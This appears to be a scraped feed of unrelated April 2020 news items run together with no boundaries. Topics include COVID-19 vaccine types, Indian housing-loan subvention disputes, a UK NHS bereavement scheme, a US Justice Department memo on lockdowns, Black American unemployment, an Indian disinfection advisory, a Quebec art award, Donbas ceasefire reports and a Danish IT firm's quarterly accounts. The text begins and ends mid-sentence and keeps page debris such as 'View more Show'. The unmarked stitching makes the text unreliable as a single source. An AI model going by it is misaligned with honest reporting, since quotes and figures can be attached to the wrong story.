to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show It had advised that disbursal of housing loans sanctioned to buyers should be linked to the stages of construction of the housing projects and that upfront disbursal should not be made in case of incomplete or under construction or greenfield housing projects. In 2019, the National Housing Bank (NHB) had asked housing finance companies (HFCs) to "desist" from offering loans under interest subvention scheme after there were complaints of default. The result of the two advisories was that several banks and later the HFCs stopped funding under the scheme. However, there are still some homebuyers whose loans bought on subvention scheme are still continuing. The coronavirus pandemic and the subsequent lockdown led to the RBI announcement on March 27, 2020 that all banks and NBFCs should be permitted to allow a moratorium of three months on repayment of term loans outstanding as on March 1, 2020. In most cases, the force majeure provision would have been included in the purchase document and with builders currently strapped for funds, several developers may find it tough to service this commitment. In fact, some may even decide to default on their interest payment commitments, says Anckur Srivasttava of GenReal Advisers. Some may even want to scuttle out of the entire subvention commitment period by resorting to the force majeure provision. The present cashflow situation is such that for some of them it may not be a question of willingness to not pay but ability to pay, he adds. The legal view: Subvention schemes are akin to term loans Legal experts say that a subvention scheme can be categorised under the term loan as it is part of the homebuyers mortgage and the three-month moratorium is applicable for it subject to the homebuyer and the developer applying for it. Considering it is the RBI guideline, banks would definitely have to permit a three-month moratorium for buyers and builders if they were to apply for it. The same logic of a term loan would apply for a subvention scheme because it is a home loan except that there are two signatories to it, explains Kunaal Shah of Trilegal. But who will pay the interest that accrues post the three-month moratorium? Legally, the compoundable interest is to be paid by the developer. Assuming that the builder-buyer agreement does not take care of it, another agreement between the homebuyer and builder may have to be signed detailing who will pick up the additional interest. What happens if the builder stops paying interest? In that case, the default interest will accumulate under the home loan and it is the homebuyer who would have to pay the amount post possession. An agreement for sale is registered in the name of the homebuyer. The builder only has a lien for the unpaid amount and if that continues to remain unpaid, the eventual liability would be on the buyer COVID or no COVID as that is the legal position under the law, says another legal expert. Under the present circumstances, it is the developer who will have to pay the liability. He is obliged to pay the interest as per present rules. Ideally, installment should have been interest free for the three-month moratorium period. It should have been declared as zero period for three months, said RK Arora, chairman, Supertech Group and president of the UP chapter of Naredco. What next? In cases where the subvention was offered before the NHB advised housing finance companies to desist, it was an assurance that had to be paid until the offer of possession. Contractually, the developer is bound to pay subvention on behalf of the homebuyer to the bank but the issue here is whether the developer has the financial ability to continue paying, says a developer who does not want to be named. Post the NGT and Supreme Court ban on construction due to pollution issues and now the lockdown, the developers ability to pay subvention has obviously shrunk, he adds. The three-month moratorium is only an option. The builder can choose not to take it. It is going to invite litigation going forward until RERA steps in and declares the three months as a zero period, says the developer. Real estate developers have recently asked the finance ministry to provide relief on cashflows as the three-month moratorium does not help them much, especially these schemes. When sales have come to a grinding halt, where do we recover cashflows from. There needs to be a relief package on this as it will be a problematic area, says the developer, adding NHB should allow subvention schemes again to help developers boost sales. A banker Moneycontrol spoke to said that while it is difficult to estimate the quantum of subvention loan sales versus disbursement of conventional home loans, the scheme was an additional selling proposition for the developers. Of 25 deals that a developer entered into with buyers, at least 10 were under this category. These didnt come cheap by any standards, they only helped the buyer pay at the time of possession, he explains. One thing is clear though; while homebuyers may have benefited with not having to pay interest on the home loan and the rent under the scheme and developers also gained in terms of increased sales, the actual borrower remains the homebuyer and in the event of any default by the builder, it is the homebuyer whose credit history is bound to get impacted. By PTI LONDON: The UK has announced a 60,000-pound insurance scheme for the families of National Health Service workers who lose their lives on the frontlines of fighting the coronavirus pandemic, which has killed 21,157 people in the country so far with 158,348 cases and 807 recoveries. UK Health Secretary Matt Hancock, who announced the Life Assurance Scheme at the daily Downing Street briefing on Monday, said that while no amount of money can replace the loss of a loved one, the government's effort was to do "everything that we can" to support families dealing with bereavement. "I feel a deep personal sense of duty that we must care for their loved ones," the minister said. "As a government, we are looking closely at other professions that work on the frontline against the coronavirus, who also do not have access to such schemes, to see where this may be required," he added. ALSO READ | COVID-19: UK Finance Minister Rishi Sunak unveils 'Bounce Back Loan Scheme' for small businesses The briefing on Monday marked the first time that a question from a member of the public, chosen independently through a polling agency, was read out ahead of the usual journalists' questions directed at the minister and professor Chris Whitty, the UK's Chief Medical Officer, and Sir Patrick Vallance, the government's Chief Scientific Adviser. The question asked if being able to hug a close family member would be one of the first steps out of lockdown, and was answered by all three as something the government hopes to move towards as the risk of infection reduces. "It is important that people who are vulnerable continue to be protected even after the next steps occur," said Whitty. ALSO READ | British PM Boris Johnson back in charge of COVID-19 response He also indicated that the lower rate of daily death toll hike, which was up 360 from Sunday's figure, could be an "artificial drop" due to lower notification rates from UK hospitals over the weekend. As the number of hospitalisations continued a downward trend, the government said that some of the other NHS medical services, which had been paused due to the coronavirus outbreak, will be restored from Tuesday. "As the number of hospitalisations from coronavirus begins to fall, I can announce that, starting tomorrow, we will begin the restoration of other NHS services - starting with the most urgent, like cancer care and mental health support," said Hancock. The latest update came as British Prime Minister Boris Johnson took charge at 10 Downing Street earlier on Monday after returning from his COVID-19 convalescence from Chequers, his countryside retreat in Buckinghamshire over the weekend. He addressed the nation from the podium outside his office in London to warn the British public that the period of "maximum risk" had not been passed and urged for further patience with the strict social distancing measures. WASHINGTON - Attorney General William Barr on Monday ordered federal prosecutors across the U.S. to identify coronavirus-related restrictions from state and local governments that could be violating the constitutional rights and civil liberties of individual citizens. The memo to U.S. attorneys directs the head of the Justice Departments civil rights division and the U.S. attorney for the Eastern District of Michigan to co-ordinate the departments efforts to monitor state and local policies and take action if needed. If a state or local ordinance crosses the line from an appropriate exercise of authority to stop the spread of COVID-19 into an overbearing infringement of constitutional and statutory protections, the Department of Justice may have an obligation to address that overreach in federal court. Barrs memo comes about two weeks after the Justice Department filed a statement of interest in a civil case in Mississippi, siding with a Christian church where local officials had tried to stop Holy Week services broadcast to congregants sitting in their cars in the parking lot. The directive also comes as many stay-at-home orders are set to expire and governors eager to rescue their economies are moving to ease restrictions meant to control the spread of the coronavirus, even as new hot spots emerge and experts warn that moving too fast could prove disastrous. At the same time, protesters have staged demonstrations against stay-at-home orders, and in recent weeks, President Donald Trump has urged supporters to liberate three states led by Democratic governors. Trump was asked at Mondays coronavirus briefing about the strategy behind the decision by the Justice Department. Well, youd have to ask Attorney General Barr, but I think he wants to see like everybody, he wants to see people get back and he wants to see people get back to work, Trump said. He doesnt want people to be held up when theres no reason for doing it. In some cases, perhaps its too strict. He wants to make sure people have the rights and they maintain the rights, very importantly. The Justice Department argued in the Mississippi filing that officials in Greenville appeared to be targeting religious conduct by singling churches out as the only essential service, as designated by the state of Mississippi, that may not operate despite following all Centers for Disease Control and Prevention and state recommendations regarding social distancing. In an interview with radio host Hugh Hewitt last week, Barr said the Justice Department could support legal action against states that impose strict measures as the number of coronavirus cases begins to subside. The idea that you have to stay in your house is disturbingly close to house arrest, Barr said. Im not saying it wasnt justified. Im not saying in some places it might still be justified. But its very onerous, as is shutting down your livelihood. Barr said he believes there is a sufficient basis for social distancing rules that have been put in place, but he has cautioned that there may be concern if the restrictive measures continue too long. He has said the U.S. must find a way to allow business to adapt and reopen. I think we have to allow people to figure out ways of getting back to work and keep their workers and customers safe, Barr said in an interview with Fox News earlier this month. Im not suggesting we stop social distancing overnight. There may come a time where we have to worry less about that. For most people, the coronavirus causes mild or moderate symptoms, such as fever and cough, that clear up in two to three weeks. For some, especially older adults and people with existing health problems, it can cause more severe illness, including pneumonia, and death. The vast majority of people recover. Photograph: Chandan Khanna/AFP via Getty Images Just two months ago in the Cabinet Room of the White House, sitting at a table surrounded by a handful of his black supporters, Donald Trump once again praised his job creation record. Black people right now are having the best, statistically, the best numbers that youve ever had, and its really an honor, he said. Nobody has done more for black people than I have. Nobody has done more. That was 27 February and Trump was also still claiming he had done an incredible job with the looming coronavirus pandemic. Now the virus has led 26 million Americans to file for unemployment. While the US Bureau of Labor Statistics will not release unemployment figures broken down by race until the beginning of next month, economists are certain that black Americans are suffering the brunt of Covid-19s economic impact and will probably suffer the most dramatic consequences of the looming recession. Even before Covid-19 hit the US in full force and as the overall unemployment rate hit record lows, black Americans had an unemployment rate that was almost twice the national rate. In February 2020 when the overall unemployment rate was 3.5%, a 50-year-low, the black unemployment rate was 5.8%. The white unemployment rate was 3.1%. The usual relationship that we see between the national unemployment rate and the black unemployment rate is typically really close to a two to one, said Valerie Wilson, director of the Economic Policy Institutes program on race, ethnicity and the economy. Whatever is being projected for the national unemployment rate, in most instances, we expect to see something close to twice that for black Americans. This was true for unemployment figures during the Great Recession. The overall unemployment rate peaked at 9.6% in 2010. For black Americans, it was 16%. William Rodgers, former chief economist at the US Department of Labor, has estimated that the real unemployment rate for African Americans may have reached 19% in March. Story continues The reason why African Americans bear the brunt of downturns more is that when firing decisions start to occur the least educated and those with the least experience tend to be let go first. There is also continued discrimination in the workplace, Rodgers said. Economists who focus on race have long said that this last hired, first fired phenomenon dramatically affects black Americans more than any other group in the US due to the countrys history of racism and segregation of black Americans in the work sector. Workers of color, particularly black Americans, have long been overrepresented in the lowest-paying service and domestic occupations, such as taxi drivers and restaurant servers. Working in these fields leads to lower wages black Americans have the lowest median wage of any racial group in the US and the jobs are often seen as the most expendable during an economic downturn. Those who got to keep their jobs during the last recession saw little relief even after the recessions recovery period. Even with a low unemployment rate, wage growth for low-wage workers, especially for black workers, has been slow. Black Americans have seen the slowest wage growth compared with other groups of Americans, reaching a growth rate that was four times slower at certain wage distribution levels, according to a 2018 Economic Policy Institute report. Even though overall on aggregate we were in a better position, many of the underlying weaknesses of our economy were still there inequality both on class and race, Wilson said. A policeman directs a citizen where to pick up an unemployment form in Miami, Florida, earlier this month. Photograph: Michele Eve Sandberg/Rex/Shutterstock Low wages have a ripple effect on a familys ability to save money and build wealth. For Yolanda Murray of Detroit, Michigan, not having savings meant weeks of panic trying to figure out how she was going to pay the bills that came on 1 April after she was furloughed from her job at a hotel. You got the rent, the bills, you got the car insurance, you got groceries and disinfectant supplies Its like how am I going to maintain all of this? Murray said. Weeks after she filed her application for unemployment insurance, payments started coming in and Murray was able to pay her bills again. But Murray has long-term concerns about what an upcoming recession could mean for her. Just a year and a half ago, in October 2018, Murray and her unionized co-workers spent 28 days striking for higher wages and better healthcare. At the time, workers at the hotel had not had wage rises since before the last recession, and healthcare costs were so expensive that Murray could only afford to cover herself, leaving her two children out of her plan. The workers reached a deal with the hotel, and she was able to get her children under her healthcare plan, but Murray is worried about what an economic downturn would mean for her and her co-workers. I just dont want to see us go backwards right now, she said. Trumps repeated claims that he has been the best president for African Americans was repeatedly pegged to falling unemployment numbers. But those numbers only tell a partial story, as work by Rodgers and others has shown. Black families are especially vulnerable to economic downturns because they lack the savings that can act as a buffer against unexpected layoffs or lost wages. And during the last recovery they lost ground against their white peers. The median net worth of black families is $17,600, compared with $171,000 for white families. A white family is likely to have $10 for every $1 a black family has. The percentage of black families that have a net worth at or below zero dollars is 10 points higher than the percentage of white families in the same financial situation 19% compared with 9%, respectively. And the black homeownership rate is the lowest of any racial group in the US and has consistently been about 30% lower than the white homeownership rate over the years, even as the economy was getting stronger. Wealth allows you to respond to that unexpected health emergency, that broken hole in the tire you have to replace. It also allows you to buy a home, put your kids through school, said Danyelle Solomon, vice-president of the race and ethnicity program at the Center for American Progress. Having less wealth also has some dire health consequences. Experts agree that being poor has costly effects on a persons health: for adults living in extreme poverty, being poor can cost up to 15 years of life expectancy. It is no surprise, then, that black Americans who are less likely to be insured and more likely to have existing health conditions than their white counterparts have seen higher death rates due to Covid-19 compared with any other group in the US. Black Americans made up 25% of deaths from Covid-19 in the US though they make up a little under 13% of the US population. National emergencies, pandemics, epidemics, what they do is they spotlight inequality, Solomon said. What we see in Covid-19 is no different. Its highlighting racial disparities at every single level that have been with our society for a very long time. There is no need to seal an entire building if a person living or working there tests positive for coronavirus disease (Covid-19) because disinfection of the affected floor and common areas is enough to stop the spread of infection, according to the Union health ministry. The health ministry has issued a detailed advisory on dos and donts if a non-Covid hospital reports a Covid-19 positive case. The same rules apply for office premises or any other building from where a positive case is reported. There is no need to shut the entire premises, rather one can just do proper disinfection of the main area, and other common areas, said Lav Agarwal, joint secretary, health ministry. The advisory is significant as more business activity starts and as companies and factories contemplate a return to some sort of normalcy after May 3 when the current phase of the lockdown ends. According to the health ministry guidelines for non-Covid hospitals where a positive Covid-19 patient is identified, local health authorities need to be immediately informed, followed by disinfection procedures at the affected areas. All contacts of the patient should be home quarantined and monitored for 14 days. Their details must also be shared with local health authorities. If the local health authorities are reasonably satisfied that the source case(s) have been identified and isolated, all contacts have been traced and quarantined and adequate disinfection has been achieved, the building will continue to function. But if the building still continues to report new cases in the following days, it would be advisable to temporarily close the defined section of the building from where the maximum number of cases are being reported. After thorough cleaning and disinfection it can be put to use again. Experts say much depends on the design of the building. If the structure is where there are multiple flats or different floors, then there is no need to seal the entire building as per the infection control guidelines. However, all the flats or floors have to remain under observation, and people should watch out for symptoms, said Dr T Jacob John, senior virologist, and formerly head of department, CMC, Vellore. Despite taking the above measures, if the primary source of infection cannot be established and or the building is still reporting large number of cases then a decision needs to be taken on whether the building needs to be shut down under intimation to the local health department. BOX Follow up actions When a Covid-19 cases is reported at a workplace *Active screening of all staff is done daily (by means of thermal screening especially at the start of shift) All staff members should monitor their own health at all the time for appearance of symptoms, and report them at the earliest *Close contacts should be home quarantined for 14 days, monitored ... SHARE THIS ARTICLE ON The five finalists are sharing a $10 000 award QUEBEC CITY, April 27, 2020 /CNW Telbec/ - Art and artists are essential for our well-being. The Musee national des beaux-arts du Quebec (MNBAQ), in collaboration with its financial partner RBC Foundation, is especially proud to announce the five finalists in the fourth MNBAQ Contemporary Art Award, an outstanding biennial award in Canada. Chun Hua Catherine Dong, Stanley Fevrier, Chloe Lum and Yannick Desranleau, Marigold Santos and Walter Scott have been selected by a jury comprising Georges Azzaria, Director of the Ecole d'art de l'Universite Laval; Nathalie Bachand, an independent curator and author; Eunice Belidor, Director of the FOFA Gallery at Concordia University and a member of the MNBAQ's external acquisition committee; Katrie Chagnon, Associate Professor in the Departement d'histoire de l'art de l'UQAM; Audrey Genois, Director General of MOMENTA|Biennale de l'image; and Bernard Lamarche, Head of Collection Development and Curator of Contemporary Art (2000 to the present) at the MNBAQ. The jury met on February 13, 2020, several weeks before confinement measures were adopted to slow the coronavirus' spread. A $10 000 award to be shared Since last year, the five finalists have shared a $10 000 award. Each one will thus receive $2 000. "I am delighted to announce the finalists and highlight the work of the five praiseworthy artists. At this stage in the process, their excellent work sets them apart and each one has the potential to win the award," noted Annie Gauthier, Director of Collections and Exhibitions at the MNBAQ. "We are all going through a difficult period in which artists are particularly affected by the impact of the temporary closing of exhibition sites and the cancellation or postponement of artistic events. We wish to participate in a movement to sustain essential activities and thus contribute to supporting artists and focusing on the vitality of Quebec's visual arts community," she added. A second jury will convene shortly to determine the overall winner according to the established criteria, i.e. a career spanning more than 10 years, the quality and sustained nature of the artist's output and recognition by the arts community of a genuine artistic contribution, and the MNBAQ team will subsequently announce the winner. For the time being, the future winner's exhibition at the MNBAQ is slated for the fall of 2021, at which time the monograph will be launched. This special award will support the winner's career and, above all, give it considerable momentum. A prestigious award to foster a career Since 2013, through RBC Foundation's contribution to the MNBAQ and its Foundation, which led to the establishment of the MNBAQ Contemporary Art Award, the work of three Quebec artists, Diane Morin in 2013, Carl Trahan in 2017, and Numa Amun in 2019, has been vividly showcased. Each of the award winners has been offered a personal exhibition at the MNBAQ, a retrospective publication, and the purchase by the MNBAQ collection of $50 000 of the artist's works. Profile of the five finalists Stanley Fevrier Stanley Fevrier is a plastic artist who perceives art as a vector for social change and closely scrutinizes the social dynamics that are emerging in western societies. Through contemporary tragedies, he questions the value of life against a backdrop of globalization. Motivated by a desire to stoke a collective consciousness, he appropriates and modifies images, videos and photographs of the dramas captured on the Internet. Through his installations, performances and participatory art projects, Stanley Fevrier creates a meeting place that puts participants at the centre of the work. To finalize the work, he leads them to become repoliticized and assert their experience. Mr. Fevrier graduated in the visual and media arts. His recent artistic and conceptual preoccupations hinge on institutional criticism, identity issues, and the violence and inequality that the latter engender. Since 2007, he has participated in several solo exhibitions and 15 group exhibitions in Quebec and abroad. Chun Hua Catherine Dong Chun Hua Catherine Dong is a Chinese-born Montreal based artist working with performance, photography, and video. She received a BFA from Emily Carr University Art & Design and MFA from Concordia University. She has exhibited her works and performed in multiple international venues and festivals, such as Quebec City Biennial, MOMENTA | Biennale de l'image, Kaunas Biennial, The Musee d'Art Contemporain du Val-de-Marne in Paris, The Aine Art Museum in Tornio, Bury Art Museum in Manchester, Museo de la Cancilleria in Mexico City, Canadian Museum of Immigration at Pier 21, Rapid Pulse International Performance Art Festival in Chicago, 7a*11d International Festival of Performance Art in Toronto, and so on. Among many other grants and awards, she was the recipient of the Franklin Furnace Award for contemporary avant-garde art in New York in 2014 and listed the "10 Artists Who Are Reinventing History" by Canadian Art in 2017. Chloe Lum and Yannick Desranleau Theatricality and choreography characterize the work of multidisciplinary visual artists Chloe Lum and Yannick Desranleau, which frequently melds performance, dance, and sculpture. In their recent works, the duo examines the role of objects, the material condition of the body and the potential for transformation that the body and the objects exercise on each other, seeking inspiration in Chloe Lum's experience of chronic diseases and their impact on their collaboration. They have participated in numerous exhibitions, at the Musee d'art contemporain de Montreal; Gallery TPW in Toronto; the Or Gallery in Vancouver; the Center for Books and Paper Arts, Columbia College in Chicago; the Kunsthalle Wien; the BALTIC Centre for Contemporary Art; the Whitechapel Project Space in London; the University of Texas in Austin; the Confederation Centre Art Gallery in Charlottetown; the Blackwood Gallery at the University of Toronto; and the Darling Foundry in Montreal. Their works are found in the collections of the Victoria and Albert Museum, the Montreal Museum of Fine Arts and the Musee d'art contemporain de Montreal. In 2015, they were nominated on the long list of the Sobey Art Award. Marigold Santos Marigold Santos was born in the Philippines and immigrated with her family to Canada in 1988. She pursues an inter-disciplinary art practice that examines lived experience and storytelling, presented within the otherworldly. Her work explores self-hood and identity that embraces multiplicity, fragmentation and empowerment, as informed by experiences of movement and migration. She holds a BFA from the University of Calgary, and an MFA from Concordia University. As a recipient of grants from the Canada Council for the Arts, the Alberta Foundation for the Arts, and the Conseil des Arts et des Lettres du Quebec, she continues to exhibit widely across Canada. Her solo exhibitions have been shown at the ODD Gallery in Dawson City, Yukon, ACE Art in Winnipeg, Eastern Edge in St. John's NFL, The Richmond Art Gallery, Galerie Articule, Stride Gallery, and she was recently selected to participate in the Alberta Biennial of Contemporary Art at the Art Gallery of Alberta in 2017. Walter Scott Walter Kahero:ton Scott (b. 1985) is a Kahnawake born contemporary artist, currently based in Montreal and Toronto. Scott's interdisciplinary practice includes drawing, writing, video, performance, and sculpture. Through his work, Scott explores contemporary questions of representation, cultural production, popular culture, and narrative construction. Scott has shown in solo and group exhibitions in Japan, North America, Europe, and the United States. His most recent exhibitions include Slipping on the Missing X at Macaulay & Co Fine Art and Betazoid in a Fog at the Remai Modern. In 2016, Scott was Artist-In-Residence at the Art Gallery of Ontario. He was recently an artist-in-residence at the ISCP, in Brooklyn, New York, in 2019. Scott recieved his Masters in Fine Arts from Univsersity of Guelph in 2018. His comic series, Wendy, chronicles the continuing misadventures of a young artist in a satirical version of the contemporary art world. Wendy has been featured in Canadian Art, Art in America, and published online on the New Yorker. The MNBAQ Contemporary Art Award is given every two years to a Quebec artist thanks to the remarkable partnership between the MNBAQ and RBC Foundation. The Musee national des beaux-arts du Quebec is a government corporation which receives funding from the Ministere de la Culture et des Communications du Quebec. SOURCE Musee national des beaux-arts du Quebec For further information: 418 643-2150 or 1 866 220-2150, mnbaq.org Related Links https://www.mnbaq.org/ Open source Since the beginning of the day, Russian mercenaries landed seven attacks on the Ukrainian emplacements in Donbas. They used Minsk-banned weapons, such as 82 and 120 mm mortars. The press office of Ukraine's Defence Ministry reported that on Tuesday evening. All attacks were observed in Luhansk region. Three ceasefire violations occurred in Krymske. Mortar attacks were observed there, as the pro-Kremlin armed gangs opened fire from the occupied localities of Donetsky, Sentyanivka and Slovyanoserbsk. The enemy also used grenade launchers, IFV armament and heavy machine guns. More ceasefire violations were observed in Khutir Vilny, Popasna, Orikhove and Novoluhanske. None of Ukrainian soldiers were wounded or killed in action. No new cases of infection with coronavirus were detected on April 28. Release no. 10/2020 Acceptable results in Q1 despite operating in COVID-19 unknown territory Columbus continued the positive development from 2019 into the first two months of 2020 with growth in revenue. However, in March realities changed and the COVID-19 crisis has affected the results for Q1. Columbus are implementing measures to deal with the situation and has full attention on the wellbeing of employees while serving customers digitally. In Q1 2020, Columbus delivered growth of 6% amounting to revenues of DKK 510m. EBITDA decreased by 12% amounting to DKK 53m and earnings before tax amounted to DKK 28m. Outlook for 2020 and long-term guidance will be released when having a better insight into the impact and temporary market slowdown. In accordance with the regulations for listed companies submission of interim statements, Columbus A/S hereby submits the interim management statement for the period 01.01.2020-31.03.2020 (3 months). Growth of 6% Revenue in Q1 2020 amounted to DKK 510m (Q1 2019: DKK 482m), corresponding to an increase of 6% compared to the same period last year. Organically, Columbus grew by 2%. (isolated for the acquired Advania Business Solutions in Norway). EBITDA decreased by 12% to DKK 53m primarily due to onboarding of 190 new employees as part of Columbus growth strategy as well as an increase in bad dept provision. Earnings before tax amounted to DKK 28m, corresponding to a decrease of 21%. Revenue and EBITDA are not significantly impacted by currency fluctuations. 2020 started off with a positive continuation of 2019 with overall revenue growth, despite a decline in our US business unit. In general, all Columbus business units came off to a good start where especially Dynamics Sweden and Columbus Care showed strong progress. We had a positive start to the year with strong progress overall. I am content that we delivered growth despite a radical change in our business environment. We have managed to rapidly adapt our business to the changing situation, and I want to thank our employees for showing leadership in this difficult situation as well as our customers for their commitment. We foresee a challenging 2020, however I am confident that we will get through this crisis together, says Thomas Honore, CEO & President in Columbus. Story continues In the beginning of March, we started to see the impact of the global outbreak of the COVID-19 materializing with customers holding back investments or postponing ongoing projects. Especially our retail segment has been negatively affected due to the close down of societies. Retailers with an omnichannel setup are not as badly hit because they can move part of their business online, which in some cases has led to increased demand for digital commerce or analytics services. As expected, the food segment has experienced a hectic period with increased demand which in some cases has driven increased demand for digitalization, however in other cases the customers have postponed projects due to lack of resources. Overall, Columbus expects to see a substantial, short-term negative impact on customer demand in the coming period. According to local government regulations and lockdowns, Columbus has taken steps to ensure the health and safety of our employees, customers and partners while continuing to serve our customers 100% digitally. As we write the Q1 report, all Columbus employees are working remotely from home with full operation capacity globally. As a leading digitalization company, we have broad experience serving our customers digitally, and we are experiencing a very positive interaction with customers and employees in between in adjusting to remote working routines. We are able to deliver digitally from early engagement discussions to project initiation, implementation and application management. We are currently in close connection with our customers to help them continue their operation during this period. Growth in Columbus Services The revenue from Columbus Services business increased by 4%. Organic growth is 2%. The main contributor to the growth is the increased sale of Columbus Care services and a general progress in the services business. Chargeable hours constituted 52% in Q1 compared to 56% in Q1 2019. The decline is primarily due the adjustment to remote working setup in the beginning of March and is also affected by the postponement or cancellation of projects due to COVID-19 situation. Furthermore, the decline is affected by the onboarding of people. Despite the decline in chargeable hours, the services business delivered overall growth and progress. Growth in Recurring Revenue The sale of cloud services grew by 51% due to the increasing conversion to cloud-based solutions. In addition, the sale of Columbus Care services grew by 26%. Recurring revenue increased from DKK 106m to DKK 119m, a growth of 12%, which can be explained by good progress in sale of Columbus Care and Cloud. The recurring revenue constituted 23% of the total revenue in Q1 (Q1 2019: 22%). Columbus Software same level as last year The revenue from Columbus Software business is at the same level as last year, amounting to DKK 22m. Columbus Cloud grew by 39%, while sales of Columbus licenses decreased by 23% due to the cloud conversion. Maintenance declined by 6%. Progress in 9 Doors to Digital Leadership In Q1 we launched a Cloud Factory initiative, where we partnered with Microsoft to conduct an assessment and migrate more large accounts to the cloud. When businesses started seeing the aftereffects of the COVID-19 pandemic, Columbus worked proactively to identify offerings that would help businesses keep their lights on. In line with our commitment to the UN Sustainability Goals, we also launched new offerings on energy and waste management, route optimization, and sustainable operations that will help our customers run are more sustainable operations. Risk management In order to address the short-term uncertainty, we have initiated a Business Continuity Plan to mitigate risk and keep our business in good health during this challenging period. Columbus has executed capacity adjustments across business units to address the temporary decline in demand. In addition, we are closely monitoring the resource allocation and increasing global sourcing. We have also applied different COVID-19 aid packages around the world to minimize the business impact. As announced in February, the Executive Board and the Board of Directors have reduced their salaries by 30% for the remaining of 2020. In addition, we have announced a global hiring freeze and other measures. On the sales and marketing side, we have initiated a range of activities to drive growth despite a changed business structure. We have launched a comprehensive catalogue of services to support our customers in these unusual times that can help them operate remotely and keep their business safe and running, and we are executing global digital marketing campaigns with good traction. Expectations for 2020 In the first two months of 2020, we have seen a general growth in our business. Now, realities have changed radically. Due to the current market uncertainty caused by the COVID-19, we expect a negative impact on our business and financial performance in the coming quarters. Given the rapid day-to-day developments in our main markets, we are currently unable to accurately assess the magnitude of this short-term impact, including the duration of the expected temporary market contraction. As stated in company release no. 6, 2020, we have therefore decided not to announce the expectations for 2020 and our long-term guidance until we have a better insight into the impact on our business. As the situation normalizes, we expect to start picking up in a growing market. We do expect that the conversion from on-premise solutions to cloud will be growing significantly over the next five years and we also expect digitalization efforts to pick up when the world is settling and returning to more normal modus. However, it is still unclear when and how the investment appetite will fully return. Columbus is already well positioned and at the forefront in the market within cloud (e.g. Dynamics 365, M3 Cloud Suite) with a well-developed global delivery setup specialized in upgrading customer to a cloud solution In 2020, cloud will be a prioritized growth opportunity for Columbus, thus helping our customers in the migration to cloud with the up- and cross sell the 9 Doors to Digital Leadership it entails. In addition, our focus will be to leverage the opportunities to up- and cross sell the 9 Doors to Digital Leadership services to the installed customer base. Investor presentation Columbus Executive Board will present the results for 2020 at a conference call today at 14:00 CET. Please use the following dial-in numbers: Denmark: +45 32720417 UK/international: +44 (0) 2071 928338 US: +1 646 741 3167 Conference ID: 5258489 It is also possible to follow the online webcast via this link: https://edge.media-server.com/mmc/p/pxuepg8i A recorded version of the presentation will be available on the website after the webcast has concluded: https://edge.media-server.com/mmc/p/pxuepg8i DKK 000 YTD 2020 YTD 2019 2019 Columbus Software licenses 2,802 3,649 38,449 Columbus Software subscriptions 13,891 14,775 55,527 Columbus Cloud 5,562 4,009 24,002 External licenses 27,224 17,020 75,153 External subscriptions 45,528 45,861 200,588 External cloud 11,170 7,102 35,511 Services 396,584 379,729 1,468,533 Other 7,350 10,328 33,921 Total net revenue 510,111 482,473 1,931,684 EBITDA before share-based payment 54,505 61,467 243,540 Share-based payment -1,216 -998 -5,470 EBITDA 53,289 60,469 238,070 Latest developments No events or transactions with a material effect on the companys financial position have occurred since the balance sheet date. Ib Kune Chairman Columbus A/S Thomas Honore CEO & President Columbus A/S For further information, please contact: CEO & President, Thomas Honore: +45 70 20 50 00 Income statement DKK 000 YTD 2020 YTD 2019 2019 Net revenue 510,111 482,473 1,931,684 External project costs -101,983 -95,827 -437,107 Gross profit 408,128 386,646 1,494,577 Staff expenses and remuneration -301,325 -283,935 -1,136,911 Other external costs -52,302 -41,739 -192,567 Other operating income 14 497 78,474 Other operating costs -10 -2 -33 EBITDA before share-based payment 54,505 61,467 243,540 Share-based payment -1,216 -998 -5,470 EBITDA 53,289 60,469 238,070 Depreciation, amortization and impairment -23,522 -22,092 -178,882 Operating profit (EBIT) 29,767 38,377 59,188 Financial income 544 760 590 Financial expenses -1,972 -3,411 -11,042 Profit before tax 28,339 35,726 48,736 Balance sheet DKK 000 YTD 2020 YTD 2019 2019 ASSETS Goodwill 833,786 935,109 845,774 Customer base 54,221 60,871 50,933 Other intangible assets 10,012 6,289 10,565 Development projects finalized 72,569 71,985 78,852 Development projects in progress 13,813 9,767 6,066 Property, plant and equipment 11,694 23,811 12,248 Right-of-use assets 98,991 101,052 85,927 Deferred tax assets 27,981 22,031 26,737 Other receivables 7,660 7,493 7,466 Total non-current assets 1,130,726 1,238,407 1,124,568 Inventories 0 66 0 Trade receivables 287,477 334,499 307,231 Contract assets 34,899 38,879 28,605 Corporate tax receivables 7,338 7,659 1,360 Deferred tax assets 4,878 7,595 2,812 Other receivables 8,619 19,640 16,564 Prepayments 23,923 23,836 26,113 Receivables 367,134 432,108 382,685 Cash 118,746 114,085 147,264 Total current assets 485,880 546,258 529,949 TOTAL ASSETS 1,616,606 1,784,665 1,654,517 Balance sheet DKK 000 YTD 2020 YTD 2019 2019 EQUITY AND LIABILITIES Share capital 155,778 155,778 155,778 Reserves on foreign currency translation -84,587 -26,475 -40,365 Retained profit 584,531 558,071 549,941 Group shareholders' equity 655,722 687,374 665,354 Minority interests 2,924 3,281 3,126 Equity 658,646 690,655 668,480 Deferred tax 22,085 20,040 26,296 Other provisions 40,716 14,825 28,635 Contingent consideration 0 219,508 157,850 Debt to credit institutions 169,708 183,230 176,000 Lease liability right-of-use assets 74,460 70,602 58,911 Non-current liabilities 306,969 508,205 447,692 Debt to credit institutions 2,750 13,738 0 Contingent consideration 161,037 87,156 0 Contract liabilities 18,489 25,798 17,727 Trade payables 59,937 75,312 85,618 Corporate tax payables 12,567 5,582 5,127 Other Payables 283,122 263,276 314,141 Accruals 79,446 79,327 82,872 Lease liability right-of-use assets 33,643 35,616 32,860 Current liabilities 650,991 585,805 538,345 Total liabilities 957,960 1,094,010 986,037 TOTAL EQUITY AND 